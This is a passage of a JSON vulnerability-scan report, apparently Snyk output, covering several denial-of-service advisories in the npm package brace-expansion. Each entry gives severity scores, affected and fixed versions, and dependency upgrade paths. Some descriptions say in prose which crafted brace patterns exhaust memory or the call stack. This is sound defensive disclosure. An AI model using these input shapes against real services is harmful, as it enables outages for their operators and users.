"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
